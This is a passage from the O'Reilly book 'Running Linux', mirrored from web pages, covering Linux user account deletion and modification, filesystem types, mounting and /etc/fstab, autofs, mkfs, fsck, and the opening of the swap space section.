After this is done, the new account is ready to roll; norbert can log in, using the password set using adduser. To guarantee security, new users should always change their own passwords, using passwd, immediately after logging in for the first time.

root can set the password for any user on the system. For example, the command:

passwd norbert
prompts for a new password for norbert, without asking for the original password. Note, however, that you must know the root password in order to change it. If you forget the root password entirely, you can boot Linux into a root shell, in single-user mode, or from an "emergency floppy," and clear the password field of the /etc/passwd entry for root. See the section "Section 8.6, "What to Do in an Emergency"" in Chapter 8, "Other Administrative Tasks".

Some Linux systems provide the command-line-driven useradd instead of adduser. This program requires you to provide all relevant information as command-line arguments. If you can't locate adduser and are stuck with useradd, see the manual pages, which should help you out.

5.7.6. Deleting and Disabling Accounts

Deleting a user account is much easier than creating one; this is the well-known concept of entropy at work. To delete an account, you must remove the user's entry in /etc/passwd, remove any references to the user in /etc/group, and delete the user's home directory, as well as any additional files created or owned by the user. For example, if the user has an incoming mailbox in /var/spool/mail, it must be deleted as well.

The command userdel (the yin to useradd's yang) deletes an account and the account's home directory. For example:

userdel -r norbert
will remove the recently created account for norbert. The -r option forces the home directory to be removed as well. Other files associated with the user--for example, the incoming mailbox, crontab files, and so forth--must be removed by hand. Usually these are quite insignificant and can be left around. By the end of this chapter, you should know where these files are, if they exist. A quick way to find the files associated with a particular user is through the command:
find / -user username -ls
This will give an ls -l listing of each file owned by username. Of course, to use this, the account associated with username must still have an entry in /etc/passwd. If you deleted the account, use the -uid num argument instead, where num is the numeric user ID of the dearly departed user.

Temporarily (or not-so-temporarily) disabling a user account, for whatever reason, is even simpler. You can either remove the user's entry in /etc/passwd (leaving the home directory and other files intact), or add an asterisk to the first character of the password field of the /etc/passwd entry, as so:

aclark:*BjDf5hBysDsii:104:50:Anna Clark:/home/aclark:/bin/bash
This will disallow logins to the account in question.

5.7.7. Modifying User Accounts

Modifying attributes of user accounts and groups is usually a simple matter of editing /etc/passwd and /etc/group. Many systems provide commands such as usermod and groupmod to do just this; it's often easier to edit the files by hand.

To change a user's password, use the passwd command, which will prompt for a password, encrypt it, and store the encrypted password in the /etc/passwd file.

If you need to change the user ID of an existing account, you can do this by editing the uid field of /etc/passwd directly. However, you should also chown the files owned by the user to that of the new uid. For example:

chown -R aclark /home/aclark
will set the ownership for all files in the home directory used by aclark back to aclark, if you changed the uid for this account. If ls -l prints a numeric user ID, instead of a username, this means there is no username associated with the uid owning the files. Use chown to fix this.

Previous | Home | Next
5.6. The /proc filesystem | Book Index | 6. Managing Filesystems, Swap, and Devices
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Managing Filesystems, Swap, and Devices (Running Linux)

 Running LinuxSearch this book
Previous Next

Chapter 6. Managing Filesystems, Swap, and Devices

Contents:

Managing Filesystems
Managing Swap Space
Device Files

You probably created filesystems and swap space when you first installed Linux (most distributions help you do the basics). Here is a chance to fine-tune these resources. Most of the time, you do these things shortly after installing your operating system, before you start loading up your disks with fun stuff. But occasionally you will want to change a running system, in order to add a new device or perhaps upgrade the swap space when you upgrade your RAM.

6.1. Managing Filesystems

To Unix systems, a filesystem is some device (such as a hard drive, floppy, or CD-ROM) that is formatted to store files. Filesystems can be found on hard drives, floppies, CD-ROMs, and other storage media that permit random access. (Note: a tape allows only sequential access, and therefore can't contain a filesystem per se.)

The exact format and means by which files are stored is not important; the system provides a common interface for all filesystem types it recognizes. Under Linux, filesystem types include the Second Extended filesystem, or ext2fs, which you probably use to store Linux files; the MS-DOS filesystem, which allows files on MS-DOS partitions and floppies to be accessed under Linux; and several others, including the ISO 9660 filesystem used by CD-ROM.

Each of these filesystem types has a very different underlying format for storing data. However, when you access any filesystem under Linux, the system presents the data as files arranged into a hierarchy of directories, along with owner and group IDs, permissions bits, and the other characteristics you're familiar with.

In fact, information on file ownership, permissions, and so forth is provided only by filesystem types that are meant to be used for storing Linux files. For filesystem types that don't store this information, the kernel drivers used to access these filesystems "fake" the information. For example, the MS-DOS filesystem has no concept of file ownership; therefore, all files are presented as if they were owned by root. This way, above a certain level, all filesystem types look alike, and each file has certain attributes associated with it. Whether or not these data are actually used in the underlying filesystem is another matter altogether.

As the system administrator, you need to know how to create filesystems should you want to store Linux files on a floppy or add additional filesystems to your hard drives. You also need to know how to use the various tools to check and maintain filesystems should data corruption occur. Also, you must know the commands and files used to access filesystems, for example, those on floppy or CD-ROM.

6.1.1. Filesystem Types

Table 6-1 lists the filesystem types supported by the Linux kernel as of Version 2.2.2. New filesystem types are always being added to the system, and experimental drivers for several filesystems not listed here are available. To find out what filesystem types your kernel supports, look at the kernel source tree, in the directory /usr/src/linux/fs. You can select which filesystem types to support when building your kernel; see the section "Section 7.4.2, "Building the Kernel"" in Chapter 7, "Upgrading Software and the Kernel".

Table 6-1. Linux Filesystem Types

Filesystem | Type | Description
Second Extended filesystem | ext2 | Most common Linux filesystem
Minix filesystem | minix | Original Minix filesystem; rarely used
ROM filesystem | romfs | A tiny read-only filesystem, mainly used for ramdisks
Network File System (NFS) | NFS | Allows access to remote files on network
UMSDOS filesystem | umsdos | Installs Linux on an MS-DOS partition
DOS-FAT filesystem | msdos | Accesses MS-DOS files
VFAT filesystem | vfat | Accesses Windows 95/98 files
NT filesystem | ntfs | Accesses Windows NT files
HPFS filesystem | hpfs | OS/2 filesystem
/proc filesystem | proc | Provides process information for ps
ISO 9660 filesystem | iso9660 | Used by most CD-ROMs
Joliet filesystem | iso9660 | An extension to the ISO 9660 filesystem that can handle Unicode filenames
Xenix filesystem | xenix | Accesses files from Xenix
System V filesystem | sysv | Accesses files from System V variants
Coherent filesystem | coherent | Accesses files from Coherent
UFS filesystem | ufs | Accesses files from UFS filesystems, like those on SunOS or BSD
ADFS filesystem | adfs | Accesses files from Acorn partitions
AFFS filesystem | affs | Accesses files from standard AmigaOS filesystem partitions
Apple Mac filesystem | hfs | Accesses files from Apple Macintosh
QNX4 filesystem | qnx4 | Accesses files from a QNX4 partitions
Novell filesystem | ncpfs | Accesses files from a Novell server
SMB filesystem | smbfs | Accesses files from a Windows for Workgroups or Windows NT server

Each filesystem type has its own attributes and limitations; for example, the MS-DOS filesystem restricts filenames to eight characters plus a three-character extension and should be used only to access existing MS-DOS floppies or partitions. For most of your work with Linux, you'll use the Second Extended filesystem, which was developed primarily for Linux and supports 256-character filenames, a 4-terabyte maximum filesystem size, and a slew of other goodies. Earlier Linux systems used the Extended filesystem (no longer supported) and the Minix filesystem. (The Minix filesystem was originally used for several reasons. First of all, Linux was originally cross-compiled under Minix. Also, Linus was quite familiar with the Minix filesystem, and it was straightforward to implement in the original kernels.) The Xia filesystem is no longer supported.

You will rarely need the ROM filesystem, which is very small, does not support write operations, and is meant to be used in ramdisks at system configuration, startup time, or even in EPROMS.

The UMSDOS filesystem is used to install Linux under a private directory of an existing MS-DOS partition. This is a good way for new users to try out Linux without repartitioning. The DOS-FAT filesystem, on the other hand, is used to access MS-DOS files directly. Files on partitions created with Windows 95 or 98 can be accessed via the VFAT filesystem, while the NTFS filesystem lets you access Windows NT filesystems. The HPFS filesystem is used to access the OS/2 filesystem.

With the CVF-FAT extension to the DOS-FAT filesystem, it is possible to access partitions that have been compressed with DoubleSpace/DriveSpace from Microsoft or Stacker from Stac. See the file Documentation/filesystems/fat_cvf.txt in the Linux kernel sources for further details.

/proc is a virtual filesystem; that is, no actual disk space is associated with it. See the /proc filesystem in Chapter 5, "Essential System Management".[27]

[27]Note that the /proc filesystem under Linux is not the same format as the /proc filesystem under SVR4 (say, Solaris 2.x). Under SVR4, each running process has a single "file" entry in /proc, which can be opened and treated with certain ioctl() calls to obtain process information. On the contrary, Linux provides most of its information in /proc through read() and write() requests.

The ISO 9660 filesystem (previously known as the High Sierra Filesystem and abbreviated hsfs on other Unix systems), is used by most CD-ROMs. Like MS-DOS, this filesystem type restricts filename length and stores only limited information about each file. However, most CD-ROMs provide the Rock Ridge Extensions to ISO 9660, which allow the kernel filesystem driver to assign long filenames, ownerships, and permissions to each file. The net result is that accessing an ISO 9660 CD-ROM under MS-DOS gives you 8.3-format filenames, but under Linux gives you the "true," complete filenames.

In addition, Linux now supports the Microsoft Joliet extensions to ISO 9660 which can handle long filenames made up of Unicode characters. This is not widely used now but may become valuable in the future, because Unicode has been accepted internationally as the standard for encoding characters of scripts world-wide.

Next, we have four filesystem types corresponding to other Unix variants found on the personal computer: UFS, Xenix, System V, and Coherent. (The latter three are actually handled by the same kernel driver, with slightly different parameters for each). If you have filesystems created under one of these formats, you'll be able to access the files from Linux.

Finally, there is a slew of filesystems for accessing data on partitions; these are created by operating systems other than the DOS and Unix families. Those filesystems support the Acorn Disk Filing System (ADFS), the AmigaOS filesystems (no floppy disk support except on Amigas), the Apple Mac HFS, and the QNX4 filesystem. Most of the specialized filesystems are useful only on certain hardware architectures; for instance, you won't have hard disks formatted with the Amiga FFS filesystem in an Intel machine. If you need one of those drivers, please read the information that comes with them; some are only in an experimental state.

6.1.2. Mounting Filesystems

In order to access any filesystem under Linux, you must mount it on a certain directory. This makes the files on the filesystem appear as though they reside in the given directory, allowing you to access them.

The mount command is used to do this and usually must be executed as root. (As we'll see later, ordinary users can use mount if the device is listed in the /etc/fstab file.) The format of this command is:

mount -t type device mount-point
where type is the type name of the filesystem as given in Table 6-1, device is the physical device where the filesystem resides (the device file in /dev), and mount-point is the directory on which to mount the filesystem. You have to create the directory before issuing mount.

For example, if you have a Second Extended filesystem on the partition /dev/hda2, and wish to mount it on the directory /mnt, use the command:

mount -t ext2 /dev/hda2 /mnt
If all goes well you should be able to access the filesystem under /mnt. Likewise, to mount a floppy that was created on a Windows system and therefore is in DOS format, you use the command:
mount -t msdos /dev/fd0 /mnt
This makes the files available on an MS-DOS format floppy under /mnt.

There are many options to the mount command, which can be specified with the -o switch. For example, the MS-DOS and ISO 9660 filesystems support "auto-conversion" of text files from MS-DOS format (which contain CR-LF at the end of each line), to Unix format (which contain merely a newline at the end of each line). Using a command such as:

mount -o conv=auto -t msdos /dev/fd0 /mnt
turns on this conversion for files that don't have a filename extension that could be associated with a binary file (such as .exe, .bin, and so forth).

One common option to mount is -o ro (or, equivalently, -r), which mounts the filesystem as read-only. All write access to such a filesystem is met with a "permission denied" error. Mounting a filesystem as read-only is necessary for media like CD-ROMs that are nonwritable. You can successfully mount a CD-ROM without the -r option, but you'll get the annoying warning message:

mount: block device /dev/cdrom is write-protected, mounting read-only
Use a command such as:
mount -t iso9660 -r /dev/cdrom /mnt
instead. This is also necessary if you are trying to mount a floppy that has the write-protect tab in place.

The mount manual page lists all available mounting options. Not all are of immediate interest, but you might have a need for some of them, someday.

The inverse of mounting a filesystem is, naturally, unmounting it. Unmounting a filesystem has two effects: it synchronizes the system's buffers with the actual contents of the filesystem on disk, and it makes the filesystem no longer available from its mount point. You are then free to mount another filesystem on that mount point.

Unmounting is done with the umount command (note that the first "n" is missing from the word "unmount"), as in:

umount /dev/fd0
to unmount the filesystem on /dev/fd0. Similarly, to unmount whatever filesystem is currently mounted on a particular directory, use a command such as:
umount /mnt

It is important to note that removable media, including floppies and CD-ROMs, should not be removed from the drive or swapped for another disk while mounted. This causes the system's information on the device to be out of sync with what's actually there and could lead to no end of trouble. Whenever you want to switch a floppy or CD-ROM, unmount it first, using the umount command, and then remount the device.

Reads and writes to filesystems on floppies are buffered in memory as they are for hard drives. This means that when you read or write data to a floppy, there may not be any immediate drive activity. The system handles I/O on the floppy asynchronously and reads or writes data only when absolutely necessary. So if you copy a small file to a floppy, but the drive light doesn't come on, don't panic; the data will be written eventually. You can use the sync command to force the system to write all filesystem buffers to disk, causing a physical write of any buffered data. Unmounting a filesystem makes this happen as well.

If you wish to allow mortal users to mount and unmount certain devices, you have two options. The first option is to include the user option for the device in /etc/fstab (described later in this section). This allows any user to use the mount and umount command for a given device. Another option is to use one of the mount frontends available for Linux. These programs run setuid root and allow ordinary users to mount certain devices. In general, you wouldn't want normal users mounting and unmounting a hard drive partition, but use of CD-ROM and floppy drives might be more lenient on your system.

There are quite a few things that can go wrong when attempting to mount a filesystem. Unfortunately, the mount command will give you the same error message in response to a number of problems:

mount: wrong fs type, /dev/cdrom already mounted, /mnt busy, or other error
 wrong fs type is simple enough: this means that you may have specified the wrong type to mount. If you don't specify a type, mount tries to guess the filesystem type from the superblock (this only works for minix, ext, ext2, xia and iso9660). If mount still cannot determine the type of the filesystem, it tries all the types for which drivers are included in the kernel (as listed in /proc/filesystems). If this still does not lead to success, mount fails. device already mounted means just that: the device is already mounted on another directory. You can find out what devices are mounted, and where, using the mount command with no arguments:
rutabaga# mount
/dev/hda2 on / type ext2 (rw)
/dev/hda3 on /msdos type msdos (rw)
/dev/cdrom on /cdrom type iso9660 (ro)
/proc on /proc type proc (rw,none)
Here, we see two hard-drive partitions, one of type ext2 and the other of type msdos, a CD-ROM mounted on /cdrom, and the /proc filesystem. The last field of each line (for example, (rw)) lists the options under which the filesystem is mounted. More on these soon. Note that the CD-ROM device is mounted in /cdrom. If you use your CD-ROM often, it's convenient to create the directory /cdrom and mount the device there. /mnt is generally used to temporarily mount filesystems such as floppies.

The error mount-point busy is rather odd. Essentially, it means there is some activity taking place under mount-point that prevents you from mounting a filesystem there. Usually, this means that there is an open file under this directory, or some process has its current working directory beneath mount-point. When using mount, be sure your root shell is not within mount-point; do a cd / to get to the top-level directory. Or, another filesystem could be mounted with the same mount-point. Use mount with no arguments to find out.

Of course, other error isn't very helpful. There are several other cases in which mount could fail. If the filesystem in question has data or media errors of some kind, mount may report it is unable to read the filesystem's superblock, which is (under Unix-like filesystems) the portion of the filesystem that stores information on the files and attributes for the filesystem as a whole. If you attempt to mount a CD-ROM or floppy, and there's no CD-ROM or floppy in the drive, you will receive an error message such as:

mount: /dev/cdrom is not a valid block device
Floppies are especially prone to physical defects (more so than you might initially think), and CD-ROMs suffer from dust, scratches, and fingerprints, as well as being inserted upside-down--that kind of thing. (If you attempt to mount your Stan Rogers CD as ISO 9660 format, you will likely run into similar problems.)

Also, be sure the mount point you're trying to use (such as /mnt) exists. If not, you can simply create it with the mkdir command.

If you have problems mounting or accessing a filesystem, data on the filesystem may be corrupt. There are several tools that help repair certain filesystem types under Linux; see "Section 6.1.5, "Checking and Repairing Filesystems"" later in this chapter.

The system automatically mounts several filesystems when the system boots. This is handled by the file /etc/fstab, which includes an entry for each filesystem that should be mounted at boot time. Each line in this file is of the format:

device mount-point type options

Here, device, mount-point, and type are equivalent to their meanings in the mount command, and options is a comma-separated list of options to use with the -o switch to mount.

A sample /etc/fstab is shown here:

# device        directory       type      options
/dev/hda2       /               ext2      defaults
/dev/hda3       /msdos          msdos     defaults
/dev/cdrom      /cdrom          iso9660   ro
/proc           /proc           proc      none

/dev/hda1       none            swap      sw

The last line of this file specifies a swap partition. This is described in the section "Section 6.2, "Managing Swap Space"." later in this chapter.

The mount manual page lists the possible values for options; if you wish to specify more than one option, you can list them with separating commas and no whitespace, as in:

/dev/cdrom      /cdrom          iso9660   ro,user
The user option allows users other than root to mount the filesystem. If this option is present, a user can execute a command such as:
mount /cdrom
to mount the device. Note that if you specify only a device or mount point (not both) to mount, it looks up the device or mount point in /etc/fstab and mounts the device with the parameters given there. This allows you to mount devices listed in /etc/fstab with ease.

The option defaults should be used for most filesystems; it enables a number of other options, such as rw (read-write access), async (buffer I/O to the filesystem in memory asynchronously), and so forth. Unless you have a specific need to modify one of these parameters, use defaults for most filesystems, and ro for read-only devices such as CD-ROMs. Another potentially useful option is umask that lets you set the default mask for the permission bits, something that is especially useful with some foreign filesystems.

The command mount -a will mount all filesystems listed in /etc/fstab. This command is executed at boot time by one of the scripts found in /etc/rc.d, such as rc.sysinit (or wherever your distribution stores its configuration files). This way, all filesystems listed in /etc/fstab will be available when the system starts up; your hard drive partitions, CD-ROM drive, and so on will all be mounted.

There is an exception to this: the root filesystem. The root filesystem, mounted on /, usually contains the file /etc/fstab as well as the scripts in /etc/rc.d. In order for these to be available, the kernel itself must mount the root filesystem directly at boot time. The device containing the root filesystem is coded into the kernel image and can be altered using the rdev command (see "Section 5.2.1, "Using a Boot Floppy"" in Chapter 5, "Essential System Management"). While the system boots, the kernel attempts to mount this device as the root filesystem, trying several filesystem types in succession (first Minix, then Extended, and so forth). If at boot time, the kernel prints an error message such as:

VFS: Unable to mount root fs
one of the following has happened:

  • The root device coded into the kernel is incorrect.

  • The kernel does not have support compiled in for the filesystem type of the root device. (See "Section 7.4.2, "Building the Kernel"" in Chapter 7, "Upgrading Software and the Kernel" for more details. This is usually relevant only if you build your own kernel.)

  • The root device is corrupt in some way.

In any of these cases, the kernel can't proceed and panics. See "Section 8.6, "What to Do in an Emergency"" in Chapter 8, "Other Administrative Tasks", for clues on what to do in this situation. If filesystem corruption is the problem, this can usually be repaired; see "Section 6.1.5, "Checking and Repairing Filesystems"" later in this chapter.

A filesystem does not need to be listed in /etc/fstab in order to be mounted, but it does need to be listed there in order to be mounted "automatically" by mount -a, or to use the user mount option.

6.1.3. Automounting Devices

If you need to access a lot of different filesystems, especially networked ones, you might be interested in a fairly new addition to the Linux kernel: the automounter. This is a combination of kernel functionality, a daemon, and some configuration files that automatically detect when somebody wants to access a certain filesystem and mounts the filesystem transparently. When the filesystem is not used for some time, the automounter automatically unmounts it in order to save resources like memory and network throughput.

If you want to use the automounter, you first need to turn this feature on when building your kernel. (See "Section 7.4.2, "Building the Kernel"" in Chapter 7, "Upgrading Software and the Kernel" for more details.) You will also need to enable the NFS option.

Next, you need to start the automount daemon. Since this feature is quite new, your distribution might not yet have it. Look for the directory /usr/lib/autofs, if it is not there, you will need to get the autofs package from your friendly Linux archive and compile and install it according to the instruction.

You can automount filesystems wherever you like, but for simplicity's sake, we will assume here that you want to automount all filesystems below one directory which we will call /automount here. If you want your automount points to be scattered over your filesystem, you will need to use multiple automount daemons.

If you have compiled the autofs package yourself, it might be a good idea to start by copying the sample configuration files that you can find in sample directory, and adapt them to your needs. To do this, copy the files sample/auto.master and sample/auto.misc into the /etc directory, and the file sample/rc.autofs under the name autofs wherever your distribution stores its boot scripts. We'll assume here that you use /sbin/init.d.

The first configuration file to edit is /etc/auto.master. This lists all the directories (the so-called mount points) below which the automounter should mount partitions. Since we have decided to use only one partition in this chapter's example, we will need to make only one entry here. The file could look like this:

/automount	/etc/auto.misc

This file consists of lines with two entries each, separated by whitespace. The first entry specifies the mount point, and the second entry names a so-called map file that specifies how and where to mount the devices or partitions to be automounted. You need one such map file for each mount point.

In our case, the file /etc/auto.misc looks like the following:

cd		-fstype=iso9660,ro	:/dev/scd0
floppy		-fstype=auto		:/dev/fd0

Again, this file consists of one-line entries that each specify one particular device or partition to be automounted. The lines have two mandatory and one optional field, separated by whitespaces. The first value is mandatory and specifies the directory, onto which the device or partition of this entry is automounted. This value is appended to the mount point so that the CD-ROM will be automounted onto /automount/cd.

The second value is optional and specifies flags to be used for the mount operation. These are equivalent to those for the mount command itself, with the exception that the type is specified with the option -fstype= instead of -T.

Finally, the third value specifies the partition or device to be mounted. In our case, we specify the first SCSI CD-ROM drive and the first floppy drive, respectively. The colon in front of the entry is mandatory; it separates the host part from the device/directory part, just as with mount. Since those two devices are on a local machine, there is nothing to the left of the colon. If we wanted to automount the directory sources from the NFS server sourcemaster, we would specify something like:

sources    -fstype=nfs,soft    sourcemaster:/sources

After editing the configuration files to reflect your system, you can start the automount daemon by issuing (replace the path with the path that suits your system):

tigger# /sbin/init.d/autofs start

Since this command is very taciturn, you should check whether the automounter has really started. One way to do this is to issue:

tigger# /sbin/init.d/autofs status

but it is difficult to determine from the output whether the automounter is really running. Your best bet, therefore, is to check whether the automount process exists:

tigger# ps -aux | grep automount

If this command shows the automount process, everything should be all right. If it doesn't, you need to check your configuration files again. It could also be the case that the necessary kernel support is not available: either the automount support is not in your kernel, or you have compiled it as a module but not installed this module. If the latter is the case, you can fix the problem by issuing:

tigger# modprobe autofs

When your automounter works to your satisfaction, you might want to put the modprobe call as well as the autofs call in one of your system's startup configuration files like /etc/rc.local, /sbin/init.d/boot.local or whatever your distribution uses.

If everything is correctly set up, all you need to do is access some directory below the mount point, and the automounter will mount the appropriate device or partition for you. For example, if you type:

tigger$ ls /automount/cd

the automounter will automatically mount the CD-ROM, so that ls can list its contents. The only difference between normal and automounting is that with automounting you will notice is a slight delay, before the output comes.

In order to conserve resources, the automounter unmounts a partition or device if it has not been accessed for a certain amount of time (the default is five minutes).

The automounter supports a number of advanced options; for example, you do not need to read the map table from a file but can also access system databases or even have the automounter run a program and use this program's output as the mapping data. See the man pages for autofs and automount for further details.

6.1.4. Creating Filesystems

A filesystem can be created using the mkfs command. Creating a filesystem is analogous to "formatting" a partition or floppy, allowing it to store files.

Each filesystem type has its own mkfs command associated with it--for example, MS-DOS filesystems may be created using mkfs.msdos, Second Extended filesystems using mkfs.ext2, and so on. The program mkfs itself is a frontend that creates a filesystem of any type by executing the appropriate version of mkfs for that type.[28]

[28]Under Linux the mkfs command historically created a Minix filesystem. On newer Linux systems, mkfs is a frontend for any filesystem type, and Minix filesystems are created using mkfs.minix.

When you installed Linux, you may have created filesystems by hand using a command such as mke2fs. (If not, then the installation software created the filesystems for you.) In fact, mke2fs is equivalent to mkfs.ext2. The programs are the same (and on many systems, one is a symbolic link to the other), but the mkfs.fs-type filename makes it easier for mkfs to execute the appropriate filesystem-type specific program. If you don't have the mkfs frontend, you can use mke2fs or mkfs.ext2 directly.

Assuming that you're using the mkfs frontend, a filesystem can be created using this command:

mkfs -t type device blocks
where type is the type of filesystem to create, given in Table 6-1, device is the device on which to create the filesystem (such as /dev/fd0 for a floppy), and blocks is the size of the filesystem, in 1024-byte blocks.

For example, to create an ext2 filesystem on a floppy, you use this command:

mkfs -t ext2 /dev/fd0 1440
Here, blocks is 1440, which specifies a 1.44-MB, high-density 3.5-inch floppy. You could create an MS-DOS floppy using -t msdos instead.

We can now mount the floppy, as described in the previous section, copy files to it, and so forth. Remember to unmount the floppy before removing it from the drive.

Creating a filesystem deletes all data on the corresponding physical device (floppy, hard-drive partition, whatever). mkfs usually does not prompt you before creating a filesystem, so be absolutely sure you know what you're doing.

Creating a filesystem on a hard-drive partition is done exactly as shown earlier, except that you would use the partition name, such as /dev/hda2, as the device. Don't try to create a filesystem on a device, such as /dev/hda. This refers to the entire drive, not just a single partition on the drive. You can create partitions using fdisk, as described in the section "Section 3.1.3, "Creating Linux Partitions"" in Chapter 3, "Installation and Initial Configuration".

You should be especially careful when creating filesystems on hard-drive partitions. Be absolutely sure that the device and size arguments are correct. If you enter the wrong device, you could end up destroying the data on your current filesystems, and if you specify the wrong size, you could overwrite data on other partitions. Be sure that size corresponds to the partition size as reported by Linux fdisk.

When creating filesystems on floppies, it's usually best to do a low-level format first. This lays down the sector and track information on the floppy so that its size can be automatically detected using the devices /dev/fd0 or /dev/fd1. One way to do a low-level format is with the MS-DOS FORMAT command; another way is with the Linux program fdformat.[29] For example, to format the floppy in the first floppy drive, use the command:

rutabaga# fdformat /dev/fd0
Double-sided, 80 tracks, 18 sec/track. Total capacity 1440 kB.
Formatting ... done
Verifying ... done
Using the -n option with fdformat will skip the verification step.

[29]Debian users should use superformat instead.

Each filesystem-specific version of mkfs supports several options you might find useful. Most types support the -c option, which causes the physical media to be checked for bad blocks while creating the filesystem. If bad blocks are found, they are marked and avoided when writing data to the filesystem. In order to use these type-specific options, include them after the -t type option to mkfs, as follows:

mkfs -t type -c device blocks
To determine what options are available, see the manual page for the type-specific version of mkfs. (For example, for the Second Extended filesystem, see mke2fs.)

You may not have all available type-specific versions of mkfs installed. If this is the case, mkfs will fail when you try to create a filesystem of a type for which you have no mkfs.type. Many filesystem types supported by Linux have a corresponding mkfs.type available, somewhere.

If you run into trouble using mkfs, it's possible that Linux is having problems accessing the physical device. In the case of a floppy, this might just mean a bad floppy. In the case of a hard drive, it could be more serious; for example, the disk device driver in the kernel might be having problems reading your drive. This could be a hardware problem or a simple matter of your drive geometry being specified incorrectly. See the manual pages for the various versions of mkfs, and read the sections in Chapter 3, "Installation and Initial Configuration" on troubleshooting installation problems. They apply equally here.[30]

[30]Also, the procedure for making an ISO9660 filesystem for a CD-ROM is more complicated than simply formatting a filesystem and copying files. See the CD-Writing HOWTO for more details.

6.1.5. Checking and Repairing Filesystems

It is sometimes necessary to check your Linux filesystems for consistency and repair them if there are any errors or lost data. Such errors commonly result from a system crash or loss of power, where the kernel isn't able to sync the filesystem buffer cache with the contents of the disk. In most cases, such errors are relatively minor. However, if the system were to crash while writing a large file, that file may be lost and the blocks associated with it marked as "in use," when in fact there is no file entry corresponding to them. In other cases, errors can be caused by accidentally writing data directly to the hard-drive device (such as /dev/hda), or one of the partitions.

The program fsck is used to check filesystems and correct any problems. Like mkfs, fsck is a frontend for a filesystem-type-specific fsck.type, such as fsck.ext2 for Second Extended filesystems. (As with mkfs.ext2, fsck.ext2 is a symbolic link to e2fsck, either of which you could execute directly if the fsck frontend is not installed.)

Use of fsck is quite simple; the format of the command is:

fsck -t type device
where type is the type of filesystem to repair, as given in Table 6-1, and device is the device (drive partition or floppy) on which the filesystem resides.

For example, to check an ext2 filesystem on /dev/hda2, you use:

rutabaga# fsck -t ext2 /dev/hda2
Parallelizing fsck version 1.06 (7-Oct-96)
e2fsck 1.06, 7-Oct-96 for EXT2 FS 0.5b, 95/08/09
/dev/hda2 is mounted.  Do you really want to continue (y/n)? yes

/dev/hda2 was not cleanly unmounted, check forced.
Pass 1: Checking inodes, blocks, and sizes
Pass 2: Checking directory structure
Pass 3: Checking directory connectivity
Pass 4: Check reference counts.
Pass 5: Checking group summary information.

Free blocks count wrong for group 3 (3331, counted=3396).  FIXED
Free blocks count wrong for group 4 (1983, counted=2597).  FIXED
Free blocks count wrong (29643, counted=30341).  FIXED
Inode bitmap differences: -8280.  FIXED
Free inodes count wrong for group #4 (1405, counted=1406).  FIXED
Free inodes count wrong (34522, counted=34523).  FIXED

/dev/hda2: ***** FILE SYSTEM WAS MODIFIED *****
/dev/hda2: ***** REBOOT LINUX *****
/dev/hda2: 13285/47808 files, 160875/191216 blocks

First of all, note that the system asks for confirmation before checking a mounted filesystem. If any errors are found and corrected while using fsck, you'll have to reboot the system if the filesystem is mounted. This is because the changes made by fsck may not be propagated back to the system's internal knowledge of the filesystem layout. In general, it's not a good idea to check mounted filesystems.

As we can see, several problems were found and corrected, and because this filesystem was mounted, the system informed us that the machine should be rebooted.

How can you check filesystems without mounting them? With the exception of the root filesystem, you can simply umount any filesystems before running fsck on them. The root filesystem, however, can't be unmounted while running the system. One way to check your root filesystem while it's unmounted is to use a boot/root floppy combination, such as the installation floppies used by your Linux distribution. This way, the root filesystem is contained on a floppy, and the root filesystem (on your hard drive) remains unmounted, and you can check the hard-drive root filesystem from there. See "Section 8.6, "What to Do in an Emergency"" in Chapter 8, "Other Administrative Tasks" for more details about this.

Another way to check the root filesystem is to mount it read-only. This can be done using the option ro from the LILO boot prompt (see the section "Section 5.2.2.3, "Specifying boot time options"" in Chapter 5, "Essential System Management"). However, other parts of your system configuration (for example, the programs executed by /etc/init at boot time) may require write access to the root filesystem, so you can't boot the system normally or these programs will fail. To boot the system with the root filesystem mounted as read-only you might want to boot the system into single-user mode as well (using the boot option single). This prevents additional system configuration at boot time; you can then check the root filesystem and reboot the system normally.

To cause the root filesystem to be mounted read-only, you can either use the ro boot option, or use rdev to set the read-only flag in the kernel image itself.

Many Linux systems automatically check the filesystems at boot time. This is usually done by executing fsck from /etc/rc.d/rc.sysinit. When this is done, the system usually mounts the root filesystem initially as read-only, runs fsck to check it, and then runs the command:

mount -w -o remount /
The -o remount option causes the given filesystem to be remounted with the new parameters; in this case, the -w option (equivalent to -o rw) causes the filesystem to be mounted read-write. The net result is that the root filesystem is remounted with read-write access.

When fsck is executed at boot time, it checks all filesystems other than root before they are mounted. Once fsck completes, the other filesystems are mounted using mount. Check out the files in /etc/rc.d, especially rc.sysinit (if present on your system), to see how this is done. If you want to disable this feature on your system, comment out the lines in the appropriate /etc/rc.d file that execute fsck.

There are several options you can pass to the type-specific fsck. Most types support the options -a, which automatically confirms any prompts that fsck.type may display; -c, which does bad-block checking, as with mkfs; and -v, which prints verbose information during the check operation. These options should be given after the -t type argument to fsck, as in:

fsck -t type -v device
to run fsck with verbose output.

See the manual pages for fsck and e2fsck for more information.

Not all filesystem types supported by Linux have a fsck variant available. To check and repair MS-DOS filesystems, you should use a tool under MS-DOS, such as the Norton Utilities, to accomplish this task. You should be able to find versions of fsck for the Second Extended filesystem, Minix filesystem, and Xia filesystem at least.

In the section "Section 8.6, "What to Do in an Emergency"" in Chapter 8, "Other Administrative Tasks", we provide additional information on checking filesystems and recovering from disaster. fsck will by no means catch and repair every error to your filesystems, but most common problems should be handled. If you delete an important file, there is currently no easy way to recover it--fsck can't do that for you. There is work underway to provide an "undelete" utility in the Second extended filesystem. Be sure to keep backups, or use rm -i, which always prompts you before deleting a file.

Previous | Home | Next
5.7. Managing User Accounts | Book Index | 6.2. Managing Swap Space
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Managing Swap Space (Running Linux)

 Book Home Running LinuxSearch this book
Previous Next

6.2. Managing Swap Space

Swap space is a generic term for disk storage used to increase the amount of apparent memory available on the system. Under Linux, swap space is used to implement paging, a process whereby memory pages (a page is 4096 bytes on Intel systems; this value can differ on other architectures) are written out to disk when physical memory is low and read back into physical memory when needed. The process by which paging works is rather involved, but it is optimized for certain cases. The virtual memory subsystem under Linux allows memory pages to be shared between running programs. For example, if you have multiple copies of Emacs running simultaneously, there is only one copy of the Emacs code actually in memory. Also, text pages (those pages containing program code, not data) are usually read-only, and therefore not written to disk when swapped out. Those pages are instead freed directly from main memory and read from the original executable file when they are accessed again.

